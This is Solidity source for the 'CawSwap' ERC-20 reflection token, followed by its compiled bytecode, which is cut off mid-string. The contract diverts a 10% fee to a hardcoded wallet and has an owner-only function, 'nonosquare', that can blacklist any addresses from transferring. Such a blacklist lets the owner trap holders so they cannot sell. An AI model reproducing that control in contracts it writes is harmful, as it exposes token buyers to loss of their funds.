IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 200000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "CawSwap"; string private constant _symbol = "CawS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x74b38B3FE496CE4301bb1F33D30051361F260bFB); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4000000000 * 10**9; _maxWalletSize = 6000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600781526020017f4361775377617000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b6000680ad78ebc5ac6200000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b610962606461095483680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b680ad78ebc5ac6200000600f81905550680ad78ebc5ac6200000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4361775300000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680ad78ebc5ac62000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550673782dace9d900000600f819055506753444835ec5800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b600080600060085490506000680ad78ebc5ac62000009050612333680ad78ebc5ac6200000600854611cf790919063ffffffff16565b82101561235257600854680ad78ebc5ac620000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f73730000000